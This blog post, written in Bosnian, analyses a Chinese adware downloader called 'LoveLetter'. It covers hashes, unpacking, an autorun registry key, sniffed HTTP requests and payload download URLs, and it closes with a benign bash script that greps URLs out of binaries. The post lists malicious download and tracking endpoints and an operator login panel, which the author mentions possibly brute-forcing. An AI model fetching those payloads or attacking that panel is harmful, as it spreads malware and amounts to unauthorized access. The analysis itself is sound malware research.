@0xduraki
malwarelovelettertrojandropperreverseanalysis night

Intro

Završen je moj crawler koji vrši monitor na malware sample stranicama i ufatio "bruku" malware-a. Neki dan sam reversao ovaj ali mi je bilo mrsko postaviti neki tekst o njemu. Sutra imam obaveza pa ću danas da postavim, a ako ne postavim danas neću nikad.. Pa da počnemo :)

EDIT: Postavljena geturls skripta. Pozdrav tr3x.

Info

MD5: 4a15a452bc958a92d25c3b4103041e65
SHA: 27dfd06eb5d78ba1d52bef58336788d8ebaad0dfe75b468e91ab07277785ba8e

Filename: 4a15a452bc958a92d25c3b4103041e65.exe
Honeypot: Remote
Detection ratio: 25 / 47

Datoteka je inače bila pakirana u setup arhivu, peID detektovao Inno Setup paker. Kažu ne može se unpakovati, a ja kao ono, ma daj ljudi jeste li normalni. Prvi link baca unpaker koji je pisao QuickeneR. Sljedeći korak - unpakirati fajl.

> innounp.exe -x 4a15a452bc958a92d25c3b4103041e65.exe

17.07.2011  15:18                 0 License.txt
20.06.2012  13:20           208.896 LoveLetter.exe
15.06.2012  23:42               233 Readme.txt
31.07.2000  11:52            19.393 Why.mid

To su "ostaci" unpakinga. LoveLetter.exe izgleda najzanimljivije ovdje pa da vidimo šta se krije tu. Ispod je objašnjenje fajlova.

License.txt         // Ludi kinezi, prazan fajl
LoveLetter.exe         // Gore rečeno, malware sample
Readme.txt             // Nešta na kineskom
Why.mid             // Ne želite znati

Run the Linux !!

$ packer LoveLetter.exe
Microsoft Visual Basic 5.0 / 6.0

$ md5sum LoveLetter.exe
2e62536f2b417c5f2cc88b321bee997c

Ok! :# Ajmo skenirati "LoveLetter" na VT. Čino mi se da je UD čim je na new-list malware pa da vidimo šta kaže VirusTotal. Završenim skeniranjem, detection rate je 10/46. Malware postavlja registry ključ za automatsko pokretanje poslije boot-a koristeći se WinAPIom RegCreateKey(Ex).

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\loveletter

Registry Loveletter

Sniff, sniff :)

Kad malo bolje pogledam, možda bi bilo interesantno vidjeti kakve requeste radi. Pokrenem malware, vidim da se veže na remote IP/hostname (process explorer huh).

Inside of sniffing

Olly naravno otkriva više nego dovoljno detalja ali sam trenutno na Linux mašini. Ispisao sam bash skriptu koja koristi grep uz parametar za binary fajl i traži http:// i www stringove. Mislim da svaki korisnik Linuxa to može ispisati tako da vam ne treba skripta (recimo).

$ ./geturls LoveLetter.exe
 Text string HUE= "http://hi.baidu.com/ietrtg"
 Text string HUE= "http://url.gouwuke.cn/id/1" = DEAD
 Text string HUE= "http://www.haoda123.com"
 Text string HUE= "http://www.baidu.com/baidu?tn=flstudios_cb&word={searchTerms}&cl=3&ie=utf-8"
 Text string HUE= "http://www.87265.com"
 Text string HUE= "http://www.9365.info"
 Text string HUE= "http://adsvc1.unadnet.com.cn/ad/softad/popup.htm"
 Text string HUE= "http://adsvc1.unadnet.com.cn/count/softcount/?LoveLetter"
 Text string HUE= "http://adsvc1.unadnet.com.cn/ad/softad/tuijian.htm"
 Text string HUE= "http://%61%64%73%76%63%31%2E%39%33%36%35%2E%69%6E%66%6F/ad/softad/pwc.htm"

Pri samoj eksekuciji spaja se na remote (z11.cnzz.com), a cnzz.com je kineski provajder za cloud hosting i analizu korisnika uz posebne parametre. Ispod je slika i request za spajanje koji sam snifao.

5    TCP    192.168.1.175    42.156.140.24    3065    80        z11.cnzz.com    http    7    655 Bytes    1,425 Bytes    1.1 KB/Sec    12/26/2013 4:35:58 AM:544    12/26/2013 4:35:59 AM:115    00:00:00.570        

Request:

GET /stat.htm?id=555586&r=&lg=en-us&ntime=1388027462&repeatip=1&rtime=0&cnzz_eid=1364475466-1388027462-&showp=1152x776&st=1495&sin=&t=&rnd=1229355078 HTTP/1.1
Accept: */*
Referer: http://adsvc1.unadnet.com.cn/count/softcount/?LoveLetter
Accept-Language: 
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: hzs7.cnzz.com
Connection: Keep-Alive
Cookie: cna=YqdCC09ZcxcCAbx/bf7Y29oX

Request Info

Malware šalje request i na još jednu subdomenu na istom websajtu te vršit UrlDownloadToFile sa pojedinih linkova. Ispod više detalja.

6    TCP    192.168.1.175    42.156.140.11    3066    80        c.split.cnzz.com    http    7    1,419 Bytes    2,118 Bytes    0.1 KB/Sec    12/26/2013 4:35:59 AM:806    12/26/2013 4:36:18 AM:562    00:00:18.755    

GET /core.php?web_id=555586&t=z HTTP/1.1
Accept: */*
Referer: http://adsvc1.unadnet.com.cn/count/softcount/?LoveLetter
Accept-Language: bs-ba
Accept-Encoding: gzip, deflate
If-Modified-Since: Thu, 26 Dec 2013 03:11:16 GMT
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: c.cnzz.com
Connection: Keep-Alive
Cookie: cna=YqdCC09ZcxcCAbx/bf7Y29oX

Output: Output

UrlDownloadToFile (više o API-u ovdje):

17    TCP    192.168.1.175    222.217.240.28    3100    80        xz.ieanquan.com    http    1,094    990,204 Bytes    1,034,214 Bytes    95.1 KB/Sec    12/26/2013 4:36:56 AM:962    12/26/2013 4:37:07 AM:072    00:00:10.109                    
-
GET /download/dianxin_silent[57].exe HTTP/1.1

20    TCP    192.168.1.175    220.181.61.212    3117    80        allot.hd.sohu.com    http    7    407 Bytes    918 Bytes    0.7 KB/Sec    12/26/2013 4:37:02 AM:301    12/26/2013 4:37:02 AM:835    00:00:00.534                    
-
GET /foxd/gz?file=SohuNewPlayer.exe&new=/229/67/w8KSsVuAsvthyDIBzRQsP1.exe HTTP/1.1

24    TCP    192.168.1.175    58.215.93.130    3137    80            http    432    388,200 Bytes    405,777 Bytes    72.4 KB/Sec    12/26/2013 4:37:16 AM:852    12/26/2013 4:37:22 AM:089    00:00:05.237                    
-
GET /280cf9c20714744ccd17e57f66106dc70000000000370d38/9291/15474/setup_2949-14598.exe HTTP/1.1

Statični analizeri

Malware isto pristupa sljedećim linkovima da obavi analizu korisnika koji ga je pokrenuo, samim tim i šalje request o detaljima koji su naznačeni u linkovima dole. Većina stvari nema nikakve specifične informacije. Inače radi se o jednostavnom downloaderu koji je više manje undetected.

http://www.wk12345.com:8080/xiaocai/intf_queryAd?userName=%s|guid=%s|softVersion=%d
http://www.wk12345.com:8080/xiaocai/intf_clientLoginOrout?param=%s|userName=%s|guid=%s|softVersion=%d
http://tongji.toutiao001.com/toutiao_web_manage/getversion.php

Također sam našao i panel putujući kroz linkove a nalazi se na sljedećem linku. Možda pokušam uraditi bruteforce drugi dan. Link:

http://www.wk12345.com:8080/xiaocai/jsp/login.jsp

Zaključak

Ništa specijalno, radi se o običnom downloaderu mlweru koji vrši multi-threaded operacije. Upratio sam da ne "baca" request jedan po jedan već skida sve odjednom. Ostale datoteke mi nisu bile od interesa, većinom sponzor artikli i slično.

Pozdrav! Evo neko me zamolio za skriptu pa da mu udovoljim :))

#!/bin/bash

# geturls (./geturls)
# skripta za malware reseaching / pretrazivanje url-ova unutar binary fajla
# script for malware research / searching for url-s in binary file
# dn5 / @dn5__ / http://dn5.ljuska.com
# updatejted 29.Dec.2013. zbog public releasa

if [ ! -n "$1" ]
then
    echo "Enter a filename to scan"
    exit 0
fi

if [ -f $1 ]
then
    echo "Searching for URI inside of" $1
    resultHTTP=$(grep -a "http://" $1)
    resutlHTTPS=$(grep -a "https://" $1)
    resultWWW=$(grep -a "www." $1)

    #HUE = Hueristic detection stringova
    echo "$resultHTTP"  > "url"
    echo "$resultHTTPS" >> "url"
    echo "$resultWWW" >> "url"

    # brisanje praznih linija
    awk 'NF > 0' url
    rm url #ne treba nam više <- moze del po potrebi
else
    echo "File does not exsist"
fi